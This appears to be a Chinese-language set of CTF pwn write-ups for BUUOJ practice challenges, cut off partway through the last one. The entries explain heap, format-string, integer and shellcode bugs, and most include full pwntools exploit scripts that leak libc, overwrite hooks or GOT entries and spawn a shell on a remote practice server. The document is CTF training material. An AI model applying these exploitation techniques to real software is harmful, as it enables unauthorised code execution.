# actf_2019_babyheap

tcache dup

libc-2.27_0ubuntu1_amd64

这道题除了地址随机,其他保护都开了。有 tcache dup 漏洞。

经典的使用块去管理用户块。管理块先存放用户块地址,然后存放输出函数地址。

释放块后形成块链,由于 tcache 只会清空 8 字节存放 fd,所以输出函数地址不会被清除。利用这点输出 tcache bin 链上某个块的地址,实现堆地址泄露。

构造 管理块 -> 管理块,在后者中输入块地址和 system 函数地址。输入的地址对应的块为存放 "/bin/sh\0" 字符串的块。

每次输出菜单后都会调用 system,产生内核用户互换,导致调试中断。所以只能该调式的地方都加行 gdb.attach()

#!/usr/bin/python3
from pwn import *
context(arch='amd64', log_level='debug')
filename = 'ACTF_2019_babyheap'
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so'
libc = ELF(libcfile)
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',27387)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
def dbg():
    if mode==2:
        gdb.attach(p, 'b *0x400D69')
    
def suspend():
    if mode == 2:
        pause()
    else:
        sleep(0.1)
def choose(x):
    p.sendlineafter(b'Your choice: ', str(x).encode())
def mal(size, content=b'a'*4):
    choose(1)
    p.sendlineafter(b'Please input size: \n', str(size).encode())
    p.sendafter(b'Please input content: ', content)
def free(index):
    choose(2)
    p.sendlineafter(b'Please input list index: \n', str(index).encode())
def dump(index):
    choose(3)
    dbg()
    p.sendlineafter(b'Please input list index: \n', str(index).encode())
sys_p = e.plt['system']
mal(0x18)
mal(0x38)
free(0)
free(1)
dump(1) # get add: r0
p.recvuntil(b'Content is \'')
addr = u64(p.recvuntil(b'\'')[:-1].ljust(8,b'\0'))
print('addr: %#x'%addr)
dbg()
# 20 20 20 40
mal(0x18, p64(addr+0x40)+p64(sys_p)) # write in h0
mal(0x38, b'/bin/sh\0')
dump(0)
p.interactive()

# ciscn_2019_es_1

** 考点:**heap, tcache dup, free_hook

**libc 版本:**ibc6_2.27-3ubuntu1_amd64

块管理块。释放只释放用户块。释放后地址不清空。

分配超过 0x400 大小的块然后释放,再打印,泄露 libc 地址。

tcache dup 对 free_hook 进行读写,将其修改为 system 的地址。最后释放含 "/bin/sh\0" 字符串的块。

#!/usr/bin/python3
from pwn import *
from LibcSearcher3 import LibcSearcher
context(arch='amd64', log_level='debug')
filename = 'ciscn_2019_es_1'
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so'
libc = ELF(libcfile)
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',28322)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
if mode==2:
    gdb.attach(p, 'b *$rebase(0x1621)')
def choose(x):
    p.sendlineafter(b'choice:', str(x).encode())
    
def mal(size, name,  content):
    choose(1)
    p.sendlineafter(b's name', str(size).encode())
    p.sendafter(b'input name:\n', name)
    p.sendafter(b'compary call:\n', content)
    
def free(index):
    choose(3)
    p.sendlineafter(b'Please input the index:\n', str(index).encode())
def dump(index):
    choose(2)
    p.sendlineafter(b'Please input the index:\n', str(index).encode())
mal(0x28, b'a', b'head 0')
mal(0x418, b'a', b'head 1')
mal(0x18, b'/bin/sh\0', b'head 2')
free(0)
free(0)
dump(0)
p.recvuntil(b'name:\n')
r0u = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
free(1)
dump(1)
p.recvuntil(b'name:\n')
ma_ = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
mh_a = ma_ - 96 - 0x10
obj = LibcSearcher('__malloc_hook', mh_a)
libcbase = mh_a - obj.dump('__malloc_hook')
fh_a = libcbase + obj.dump('__free_hook')
sys_a = libcbase + obj.dump('system')
mal(0x418, b'a', b'head 3')
mal(0x28, p64(fh_a), b'h4')
mal(0x28, b'getshell!', b'h5')
mal(0x28, p64(sys_a), b'h6')
free(2)
p.interactive()

# axb_2019_heap

** 考点:**fmtstr, unlink, off_by_one

**libc 版本:**libc6_2.23

该程序开启了全保护,一开始有个 printf 的格式化字符串漏洞。

分配函数略显复杂。分配时,若 key 变量值不为 43,那么将不能分配大小小于 0x80,即属于 fastbin 范围的块。之后有个分配后地址合法性校验,分配得到的地址不能过于接近储存块地址的数组。

含有编辑函数。释放函数清空了指针。

对块进行读写的函数 get_input 存在 off by one 漏洞。当已输入字符数等于大于给定值 + 1 后才退出。

image-20231118194147647

# 利用

一开始的格式化字符串漏洞只能利用一次,因此只能利用其泄露地址。泄露代码段地址可以推测.bss 段地址,由此计算出 notelist 真实地址。泄露 libc 地址用于获取 system 函数地址。拿到数组地址后可以利用 unlink,由此实现任意地址读写,将 free_hook 填入 system 地址,后面的懂的都懂。

若一开始格式化字符串使用的输入函数是 read,那么可以利用低字节覆盖,将 main 函数地址覆盖为 key 变量的地址,然后利用 % n 修改 key 为 43。但第三字节需要爆破。

若没有 canary 保护,且 read 函数输入,则可以溢出覆盖返回地址低位,再次利用格式化字符串漏洞。

这题有个很坑的点。分配函数内有个 check_pass 函数验证分配地址合法性。由于 unlink 后,p 和 p 储存的内容只有 0x18 的差距,必定无法通过验证,所以一开始我以为必定用不成 unlink。但是!都 unlink 任意地址读写了,为啥还会需要再去分配 fake chunk 之类的呢?而编辑函数内没有该检测,所以 unlink 利用没有收到任何影响。这次属于是被出题者骗到了。

#!/usr/bin/python3
from pwn import *
from LibcSearcher import LibcSearcher
context(arch='amd64', log_level='debug')
filename = 'axb_2019_heap'
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so'
libc = ELF(libcfile)
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',29478)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
if mode==2:
    gdb.attach(p, 'b printf')
    
def suspend():
    if mode == 2:
        pause()
    else:
        sleep(0.1)
def choose(x):
    p.sendlineafter(b'>> ', str(x).encode())
    
def mal(index, size, content):
    choose(1)
    p.sendlineafter(b'(0-10):', str(index).encode())
    p.sendlineafter(b'Enter a size:\n', str(size).encode())
    p.sendafter(b'Enter the content: \n', content)
    if len(content)<size:
        p.send(b'\n')
def free(index):
    choose(2)
    p.sendlineafter(b'Enter an index:\n', str(index).encode())
def edit(index, content):
    choose(4)
    p.sendlineafter(b'Enter an index:\n', str(index).encode())
    p.sendafter(b'Enter the content: \n', content)
    
key = 0x202040
notelist = 0x202060
strind = 7.5
lsmind = 15
mainind = 11
banner = 0xb42
payload = b'%11$p,%15$p'
p.sendlineafter(b'name:', payload)
p.recvuntil(b'Hello, ')
main_a = int(p.recvuntil(b',')[:-1],16)
lsm_ = int(p.recvuntil(b'\n')[:-1], 16)
print('main:'+hex(main_a))
print('lsm:'+hex(lsm_))
notelist += main_a - 0x1186 
lsm_a = lsm_ - 240
obj = LibcSearcher('__libc_start_main', lsm_a)
libcbase = lsm_a - obj.dump('__libc_start_main')
fh_a = libcbase +  obj.dump('__free_hook')
sys_a = libcbase + obj.dump('system')
mal(0, 0x88, b'aa')
mal(1, 0x88, b'aa')
mal(2, 0x88, b'aa')
mal(3, 0x88, b'/bin/sh\0')
c1i = notelist + 0x10
payload = flat({0:[0, 0x81, c1i-0x18, c1i-0x10], 0x80:[0x80]}) + p8(0x90)
edit(1, payload)
free(2)
edit(1, flat({8:fh_a})+b'\x80\n')
edit(0, p64(sys_a)+b'\n')
free(3)
p.interactive()

# oneshot_tjctf_2016

** 考点:**one_gadget

拥有一次读取任意地址内容和跳转到任意地址的机会。

读取任意 libc 函数泄露 libc 地址,然后跳转到 one_gadget。

libc 版本读取后为 libc6_2.23-0ubuntu10_amd64

image-20231118224655913

对对应文件执行 one_gadget 查询。

image-20231118224844697

执行跳转前程序将 eax 寄存器清零,因此直接选择第一个 one_gadget。

image-20231118224910215

#!/usr/bin/python3
from pwn import *
from LibcSearcher3 import LibcSearcher
context(log_level='debug')
e=ELF('./oneshot_tjctf_2016')
#p=process('./oneshot_tjctf_2016')
p=remote('node4.buuoj.cn',26936)
#gdb.attach(p, 'b __isoc99_scanf')
lsm_g = e.got['__libc_start_main']
p.sendlineafter(b'Read location?', str(lsm_g).encode())
p.recvuntil(b'Value: ')
lsm_a = int(p.recvuntil(b'\n'),16)
obj = LibcSearcher('__libc_start_main', lsm_a)
libcbase = lsm_a -obj.dump('__libc_start_main') 
onegad = 0x45216
onegad += libcbase
p.sendlineafter(b'Jump location?', str(onegad).encode())
p.interactive()

image-20231118224956769

# 护网杯_2018_gettingstart

** 考点:** 浮点数储存

查看汇编找到浮点数对应的十六进制,缓冲区溢出将对应变量覆盖为对应值。

image-20231119000514776

image-20231119000436805

#!/usr/bin/python3
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
filename = '2018_gettingStart'
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process("./"+filename) if mode else remote('node4.buuoj.cn',26360)
fl = 0x3FB999999999999A
num = 0x7FFFFFFFFFFFFFFF
p.send(flat({0x18:[num, fl]}))
p.interactive()
p.close()

image-20231119000719983

# gyctf_2020_some_thing_exceting

** 考点:**heap, uaf

**libc 版本:**libc6_2.23

未开启 PIE。

image-20231119001138545

程序开始将 flag 放在.bss 段上。

image-20231119001154173

free 后不清空地址,块管理块模式。

对某个 0x10 管理块释放后分配为用户块,将 flag 的地址填入,然后输出。

#!/usr/bin/python3
from pwn import *
context(arch='amd64', log_level='debug')
filename = 'gyctf_2020_some_thing_exceting'
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so'
libc = ELF(libcfile)
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',28272)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
if mode==2:
    gdb.attach(p, 'b ')
def choose(x):
    p.sendlineafter(b'> ', str(x).encode())
    
def mal(size, content, size1, content1):  # one time two malloc
    choose(1)
    p.sendlineafter(b"> ba's length : ", str(size).encode())
    p.sendafter(b'> ba : ', content)
    p.sendlineafter(b"> na's length : ", str(size1).encode())
    p.sendafter(b'> na : ', content1)
def free(index):
    choose(3)
    p.sendlineafter(b'> Banana ID : ', str(index).encode())
def dump(index):
    choose(4)
    p.sendlineafter(b'> SCP project ID : ', str(index).encode())
flag = 0x6020A8
mal(0x18, b'a', 0x28, b'a')
mal(0x28, b'a', 0x28, b'a')
mal(0x18, b'a', 0x28, b'a')
free(0)
free(1)
mal(0x18, p64(flag)+p64(flag), 0x28, b'a')
dump(0)
p.interactive()

image-20231119002707269

# *wustctf2020_number_game

** 考点:**int 数据

看代码,若输入的数字小于 0 且取负后仍小于 0,那么可以 getshell。

image-20231119005428913

int 范围中负数范围比正数多 1。对于 32 位程序而言这个多出来的数据为 -2147483648

这个数二进制最高位为 1,其他位为 0。取负是先取反后加一,这个数取反后最高位为 0 其他为 1。若加一,每一位都会进位,最后值依旧是最高位为 1,其他位为 0,即为本身。

image-20231119005440746

输入该数,直接 getshell。

#!/usr/bin/python3
from pwn import *
context(log_level='debug')
#p=process('./wustctf2020_number_game')
p=remote('node4.buuoj.cn',26335)
num = -2147483648
p.sendline(str(num).encode())
p.interactive()

image-20231119004753899

# zctf2016_note2

** 考点:**unlink, integer overflow, overlap

**libc 版本:**libc6_2.23

保护未开启 pie。分配块最多分配 0x80 大小,也就是实际大小最大 0x90。输入函数存在漏洞,当 size 为 0 时 size-1 会变成很大的数。由此解除输入字符限制。

但是当 malloc(0) 时会分配最小 chunk,也就是真实大小为 0x20。这个块不足以构造 unlink。而被 free 的块的大小需大于 fastbin 的最大大小,因此需 malloc(0x80)

所以最后即为在两个较大块中间夹杂一个 0x20 的小块。在低地址大块中伪造 fakechunk。利用小块修改高地址大块的 size,最后 free 大块。

在实现任意地址读写后,读取并修改 free 的 got 表然后就基本套路了。

#!/usr/bin/python3
from pwn import *
from LibcSearcher import LibcSearcher
context(arch='amd64', log_level='debug')
filename = 'note2'
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so'
libc = ELF(libcfile)
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',26675)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
if mode==2:
    gdb.attach(p, 'b *0x40101C')
    
def suspend():
    if mode == 2:
        pause()
    else:
        sleep(0.1)
def choose(x):
    p.sendlineafter(b'option--->>\n', str(x).encode())
    
def mal(size, content=b'aaaa\n'):  # fastbin
    choose(1)
    p.sendlineafter(b'(less than 128)\n', str(size).encode())
    p.sendlineafter(b'note content:', content)
def free(index):
    choose(4)
    p.sendlineafter(b'Input the id of the note:\n', str(index).encode())
def edit(index,c, content):
    choose(3)
    p.sendlineafter(b'Input the id of the note:\n', str(index).encode())
    p.sendlineafter(b'2.append]\n', str(c).encode())
    p.sendlineafter(b'TheNewContents:', content)
def dump(index):
    choose(2)
    p.sendlineafter(b'Input the id of the note:\n', str(index).encode())
    p.recvuntil(b'Content is ')
ptr = 0x602120
c1i = ptr + 0x8
name = 0x6020E0
free_g = e.got['free']
p.sendlineafter(b'name:', b'/bin/sh\0')
p.sendlineafter(b'address:', b'aha')
payload = flat([0,0x91, ptr-0x18, ptr-0x10])
mal(0x78, payload)  #0
mal(0)      #1
mal(0x80)  #2
free(1)
payload = flat({0:b'/bin/sh\0',0x10:[0x90, 0x90]})
mal(0, payload) #3 -> 1
free(2)
edit(0, 1, b'a'*0x18 + p64(free_g))
dump(0)
free_a = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
print('[+] free:' + hex(free_a))
obj = LibcSearcher('free',free_a)
libcbase = free_a - obj.dump('free')
sys_a = libcbase + obj.dump('system')
edit(0, 1, p64(sys_a))
free(3)
p.interactive()

# starctf_2019_babyshell

** 考点:**shellcode 有限制

**libc 版本:**libc6_2.23

# 顺从检测

输入的字符只能为以下字符之一: "ZZJ loves shell_code,and here is a gift:\x0F\x05 enjoy it!\n"

对应的有用的汇编代码:

ASCII Hex Assembler Instruction
‘ ’ 0x20 and byte ptr [eax+xx], xx
, 0x2c sub al, xx
: 0x3a cmp xx, [eax+xx]
! 0x21 and dword ptr [eax+xx], xx
\n 0x0a or xx, byte ptr [eax+xx]
_ 0x5f pop edi
Z 0x5a pop %rdx
c 0x63 movslq (%{64bit}), %
h 0x68 push [dword]
i 0x69 imul [dword], (%{64bit}), %
j 0x6a push [byte]

执行 shellcode 前程序情况如下

image-20231119164111529

因此要构造 read 函数,只需将 rdi 清零。我们可以用 '_' 直接 pop rdi,找到栈上为 0 的位置。加上 call 往栈上插入的 rip 地址,需要 pop 共 6 次。

image-20231119175549213

这里记得 patchelf,不同 libc 产生的栈结构不同。刚开始我没有调整,所以一直本地成功远程失败。这里附上一张 ubuntu22.04 下的栈结构。

image-20231119171924648
#!/usr/bin/python3
from pwn import *
context(log_level='debug')
context.arch='amd64'
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./starctf_2019_babyshell_pe') if mode else remote('node4.buuoj.cn',29462)
if mode==2:
    gdb.attach(p, 'b puts')
payload = b'_'*10 + asm('syscall') 
p.sendafter(b'plz:', payload)
pause()
payload = asm('nop')*14 + asm(shellcraft.sh())
p.send(payload)
p.interactive()

但是这个方法我本地打的通,远程却打不通,可能版本还是对不上?

# 绕过验证

验证在常规字符串结束后便停止。因此只要在 shellcraft 前面加上 '\0' ,便可轻松绕过验证。

但是加上的部分必须为合法的机器码。恰好有一个 push [byte] 可以将紧接着的放入栈上。因此构造一个 push 0 ,即 b"j\0" 便可绕过验证。

#!/usr/bin/python3
from pwn import *
context(log_level='debug')
context.arch='amd64'
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./starctf_2019_babyshell_pe') if mode else remote('node4.buuoj.cn',29462)
if mode==2:
    gdb.attach(p, 'b puts')
    
payload = b'j\0' + asm(shellcraft.sh())
p.send(payload)
p.interactive()

# gyctf_2020_force

** 考点:**hof

**libc 版本:**libc6_2.23_0ubuntu10_amd64

保护全开,只有分配函数,但是写入数据的最大长度固定为 0x50,且会返回 chunk 所处位置。

因此可以修改 top 的 size。然后就可以实现任意地址读写。

在修改 top 的 size 之前,先分配一个很大的 chunk,该 chunk 便会以 mmap 的形式分配在 libc 紧邻的低地址处,以此获得 libc 基地址。

image-20231119222021018

左侧绿线红色即为 libc 基地址,左侧绿线紫色为大 chunk 所分配的起始地址。计算偏移为 0x200ff0。

然后分配一个小 chunk,如 0x18 大小的 chunk,顺便将 top size 设为 - 1,同时得到小 chunk 的地址,top 的地址便为其加 0x10。

之后计算出 __malloc_hook 的地址,然后分配一个 chunk 使得 top chunk 指向 malloc_hook 小 20 地址的地方。计算得到所需分配的 chunk 大小即为 malloc_hook - top address - 0x30 。之后再次分配 chunk 便可以修改 __malloc_hook 的值。

由于直接将 __malloc_hook 修改为 one_gadget 将不满足条件,则利用 realloc 作为跳板,同时修改 __realloc_hook 的值为 one_gadget。经调试,需要减少两个 realloc 函数的 pop 命令以此达到利用条件,所以 __malloc_hook 调用的 realloc 地址加 4。

image-20231119224848965

0x7ffcdbbbcec8 为调佣 __malloc_hook 前的栈状态,这里 `__malloc_hook 跳转 realloc+4。

image-20231119224937682

以上图为 call rax 即调用 one_gadget 后的栈状态。此时 rsp+0x70 的地址即为 0x7ffcdbbbced8 处,刚好为 0。rsp+0x30 也是,选一个即可。

image-20231119224950904

#!/usr/bin/python3
from pwn import *
from LibcSearcher import LibcSearcher
context(arch='amd64', log_level='debug')
filename = 'gyctf_2020_force'
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so'
libc = ELF(libcfile)
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',29788)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
if mode==2:
    gdb.attach(p, 'b *$rebase(0xCA5)')
    
def suspend():
    if mode == 2:
        pause()
    else:
        sleep(0.1)
def choose(x):
    p.sendlineafter(b'2:puts\n', str(x).encode())
    
def mal(size, content=b'aaaa'):
    choose(1)
    p.sendlineafter(b'size\n', str(size).encode())
    p.recvuntil(b'addr ')
    addr = int(p.recvuntil(b'\n'),16)
    p.sendafter(b'content\n', content)
    return addr
mc1u = mal(0x200000)
libcbase = mc1u + 0x200ff0
mh_a = libcbase + libc.sym['__malloc_hook']
realloc_a = libcbase + libc.sym['realloc']
onegadget = libcbase + 0xf1147
c1u = mal(0x18, b'/bin/sh\0' + b'a'*0x10 + p64(0xffffffffffffffff))
t1 = c1u + 0x10
print('t1:'+hex(t1))
print('size:'+hex(mh_a-t1-0x30))
mal(mh_a - t1 - 0x30)
mal(0x20, p64(0)+p64(onegadget)+p64(realloc_a+4))
choose(1)
p.sendlineafter(b'size', b'0')
'''
obj = LibcSearcher('__malloc_hook',mh_a)
libcbase = mh_a - obj.dump('__malloc_hook')
fh_a = libcbase + obj.dump('__free_hook')
sys_a = libcbase + obj.dump('system')
'''
p.interactive()

# wustctf2020_name_your_dog

** 考点:** 送分题

未开启 pie 和 relro 保护。

未判断数组下标,直接任意地址读写修改 got 表为后门函数 shell 的地址。

因为该程序为 32 位程序,以 4 字节为单位,但其写入以 8 字节为单位。数组起始地址为 0x8041060,所以必须寻找 got 表地址以 8 或 0 结尾的。

image-20231120133449929

因此这里不能修改 printf,应该去修改 scanf。

#!/usr/bin/python3
from pwn import *
context(log_level='debug')
e=ELF('./wustctf2020_name_your_dog')
#p=process('./wustctf2020_name_your_dog')
p=remote('node4.buuoj.cn',28854)
#gdb.attach(p, 'b printf')
target = 0x80485CB 
offset = e.got['__isoc99_scanf'] - 0x0804a060
index = offset // 8
payload = b'a'*offset 
p.sendlineafter(b'\n>', str(index).encode())
p.sendlineafter(b'plz: ', p32(target))
p.interactive()

# wdb_2018_3rd_soEasy

** 考点:**ret2libc

#!/usr/bin/python3
from pwn import *
from LibcSearcher3 import LibcSearcher
context(os='linux',arch='i386',log_level='debug')
filename = 'wdb_2018_3rd_soEasy'
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_i386/libc/lib/i386-linux-gnu/libc-2.23.so'
libc = ELF(libcfile)
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process("./"+filename+'_pe') if mode else remote('node4.buuoj.cn',28559)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
if mode==2:
    gdb.attach(p, 'b puts')
    
def suspend():
    if mode == 2:
        pause()
    else:
        sleep(0.1)
main_a = e.symbols['main']
puts_p = e.plt['puts']
#write_p = e.plt['write']
lsm_g = e.got['__libc_start_main']
offset=0x048 + 4
p.recvuntil(b'->')
buf = int(p.recvuntil(b'\n'), 16)
print('[+]buf:'+hex(buf))
payload = b'a'*offset + p32(puts_p) + p32(main_a) + p32(lsm_g)
#payload = b'a'*offset + p32(write_p) + p32(main_a) + p32(1) + p32(lsm_g) +p32(4)
p.sendafter(b'do?\n', payload)
lsm_a = u32(p.recv(4))
print('the true address of __libc_start_main is %#x'%lsm_a)
#choose use LibcSearcher or libc file
#'''
obj = LibcSearcher('__libc_start_main',lsm_a)
libcbase = lsm_a - obj.dump('__libc_start_main')
sys_a = libcbase + obj.dump('system')
bs_a = libcbase + obj.dump('str_bin_sh')
'''
libcbase = lsm_a - libc.sym['__libc_start_main']
sys_a = libcbase + libc.sym['system']
bs_a = libcbase + next(libc.search(b'/bin/sh'))
'''
payload = b'a'*offset + p32(sys_a) + p32(main_a) + p32(bs_a)
p.sendafter(b'do?', payload)
p.interactive()
p.close()

# ciscn_2019_en_3

** 考点:**heap, uaf, tcache dup, free_hook, fmtstr

开始有格式化字符串漏洞,但是不能利用 %N$ 的形式,所以一个个输出。有个 _IO_2_1_stderr_ 的 libc 函数,将其地址泄露,计算出 system 地址和 __free_hook 地址,然后利用 tcache dup 直接修改 __free_hook

#!/usr/bin/python3
from pwn import *
from LibcSearcher3 import LibcSearcher
context(arch='amd64', log_level='debug')
filename = 'ciscn_2019_en_3'
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so'
libc = ELF(libcfile)
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',26713)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
if mode==2:
    gdb.attach(p, 'b printf')
    
def suspend():
    if mode == 2:
        pause()
    else:
        sleep(0.1)
def choose(x):
    p.sendlineafter(b'choice:', str(x).encode())
    
def mal(size, content=b'aaaa'):
    choose(1)
    p.sendlineafter(b'size of story: \n', str(size).encode())
    p.sendafter(b'inpute the story: \n', content)
def free(index):
    choose(4)
    p.sendlineafter(b'index:\n', str(index).encode())
p.sendafter(b'name?\n', b'%p%p%p%p%p%p.%p\n')
p.recvuntil(b'.')
stderr = int(p.recvuntil(b'\n'), 16)
print('[+]stderr:'+hex(stderr))
obj = LibcSearcher('_IO_2_1_stderr_', stderr)
libcbase = stderr - obj.dump('_IO_2_1_stderr_')
fh_a = libcbase + obj.dump('__free_hook')
sys_a = libcbase + obj.dump('system')
p.sendafter(b'ID.\n', b'114514')
mal(0x18)
mal(0x18, b'/bin/sh\0')
free(0)
free(0)
mal(0x18, p64(fh_a))
mal(0x18)
mal(0x18, p64(sys_a))
free(1)
p.interactive()

# judgement_mna_2016

** 考点:**fmtstr

开始程序将 flag 文件读入了内存中,因此找到偏移,利用 format_string 漏洞直接输出。

image-20231120154115924

两个地址相减除以 4,得到 flag 的偏移量,即 %28$n

#!/usr/bin/python3
from pwn import *
from LibcSearcher import LibcSearcher
context(os='linux',arch='i386',log_level='debug')
filename = 'judgement_mna_2016'
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process("./"+filename+'_pe') if mode else remote('node4.buuoj.cn',25488)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
if mode==2:
    gdb.attach(p, 'b printf')
flag = 0xfda0
strg = 0xfd30
payload = '%{}$s\n'.format((flag-strg)//4).encode()
p.sendafter(b'flag >> ', payload)
print(p.recvuntil(b'}').decode())
p.close()

# *ciscn_final_2

** 考点:**heap, IO_FILE, tcache dup, orw

**libc 版本:**libc6_2.27_3ubunto1_amd64

# 分析

保护全开。沙盒禁用了 execve。

image-20231120154641760

# flag 文件

程序一开始将 flag 文件读入,并利用 dup2(fd, 666); 将 flag 文件标识符复制到了 666。由于 execve 被禁用因此只能利用 orw 的思路。因此可以修改 stdinIO_FILE 结构体的 flagno 属性为 666 ,这样当执行 scanf 时,将会直接从 flag 文件中读取。

image-20231121010743447

退出函数中包含一次输入和对应的一次输出,刚好适合用于 orw 的 read 和 write 环节。

image-20231121011050461

# 分配函数

这题的堆分配功能比较独特。首先分配大小固定为大块分配 malloc(0x20) ,实际大小 0x30。小块分配 malloc(0x10) ,实际大小 0x20。固定将分配后地址分别放在数组 int_pt[0]int_pt[1] 中,可无限次分配,新分配块的地址将会直接覆盖原地址。每次分配后将 bool 置 1

分配的同时往堆块内写入数据。这次写入数据的方式也不同,是获取用户输入的数字字符串直接转换成数值填入对应地址,即类似 scanf("%d", &ptr) 的输入方式。~~ 不用自己手动类型转换啦!~~ 该做法的缺点是能修改的字节有限且固定。两种 chunk 对应可写的字节数如下:

  • malloc(0x20) :可写入 int 类型,即 4 字节。
  • malloc(0x10) :可写入 short 类型,即 2 字节。

同时,该函数会往 ** chunk_addr+8字节 的地址处也复制一份数字。该做法的作用是,在释放块后,留有 chunk_addr+8字节 ** 处的数据供我们利用。

# 释放函数

在 bool 为 1 时可以选择释放大 chunk 或小 chunk。释放 chunk 后,没有清空地址。同时将 bool 置 0。由于 bool 的存在,所以不能连续释放两个相同的 chunk,只能借助另一类块的分配来实现 tcache dup。比如,要分配一个 0x30 大小的 chunk 进行 tcache dup,应执行以下命令。

# 以下函数定义见完整代码
# 该代码仅做实例,未出现在 exp 中
mal(1)	# 这是那个 0x30 大小的 chunk
free(1)
mal(2)	#这是借用的 0x20 大小的 chunk
free(1)
# 此时构成 tcache bin 循环 可以 dup
mal(1, target)	# target 为要实现任意地址读写的地址
mal(1)			# 将重复块弹出 tcache bin,同时使得 bin 指向 target
mal(1, value)	# value 为往 target 写入的数值

# 输出函数

无条件以数字形式输出数据。可选择大块或小块。但是输出依旧限制了字节数。同分配函数所写的一般。比如 8 字节的数据 0x1122334455667788 ,对于大块则只会输出 0x55667788 (小端字节序)。

# 利用

常规思路是释放大 chunk 获得 libc 地址,然后直接修改 __malloc_hook 或者 __free_hook 。但是由于 execve 被禁用,因此只能利用 orw。但依旧是要先泄露 libc 地址,然后计算得到 stdin 的地址再往 flagno 处写入数值 666。

# 地址覆盖

由于我们泄露和修改的字节数固定为 4 字节或 2 字节。由于 64 位程序的地址为 8 字节,因此我们只能进行低位覆盖。由于整型输入的缘故,对于 int 哪怕只输入了 short 范围的数据,也会把 int 中的高 2 位置零或置 0xff。因此泄露和覆盖所用的 chunk 类型应该一致,或者使用 int 泄露,short 修改。

其次,高位数据无法修改。因此只能在现有的堆块地址或者 mainarena 地址上修改。

# 泄露 libc 地址

首先得构造 0x400 以上的 chunk 然后释放。因此第一次任意地址读写需要修改某个 chunk 的 size 区域。

先分配大量 chunk,确保构造的 chunk 拥有与之相邻的 “合法” chunk。然后构造 dup。在构造好 dup 的循环链时,将该循环的 chunk 打印,获得该 chunk 自身的地址。由此推算第一个 chunk 的地址。然后利用 dup 将第一个 chunk 的大小修改为对应的大小。

为了保存第一个 chunk 的地址,中间用于填充够 0x400 的 chunk 必须为同一类,这里第一个 chunk 为小,其后的 chunk 均为大。同时,由于构造 dup 时需一个不同类配合,因此需要先将这个唯一的小 chunk 释放。

# 修改 flagno

泄露 mainarena+96 的地址后,计算出 _IO_2_1_stdin_ 的地址, _IO_2_1_stdin_ + 112 即为 flagno 所在位置。此时利用上一步泄露出来的 mainarena。由于存放的 chunk 是处于 unsorted bin 之中,直接分配一个 chunk,并修改低位数据为 flagno 的地址低位。然后 dup。

这里 dup 使用的是小块,上一次 dup 用的是大块。** 因为 dup 后 tcache bin 的计数器会变为 - 1,此时释放堆块,-1 会识别为很大的数,超过 8,释放的堆块便会放入 fastbin,无法利用 tcache dup。** 虽然再多次 free 可以使得计数器变为 0,但没有直接换人方便。

修改好 stdin 的 flagno 之后,直接退出。便完成了 orw。

#!/usr/bin/python3
from pwn import *
from LibcSearcher3 import LibcSearcher
context(arch='amd64', log_level='debug')
filename = 'ciscn_final_2'
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so'
libc = ELF(libcfile)
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',29938)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
if mode==2:
    gdb.attach(p, 'b *$rebase(0x1180)')
    
def suspend():
    if mode == 2:
        pause()
    else:
        sleep(0.1)
def choose(x):
    p.sendafter(b'> ', str(x).encode())
    
def mal(index, content=0x400):
    choose(1)
    p.sendafter(b'\n>', str(index).encode())
    p.sendafter(b'number:', str(content).encode())
    
def free(index):    # 1 or 2
    choose(2)
    p.sendafter(b'\n>', str(index).encode())
def dump(index):
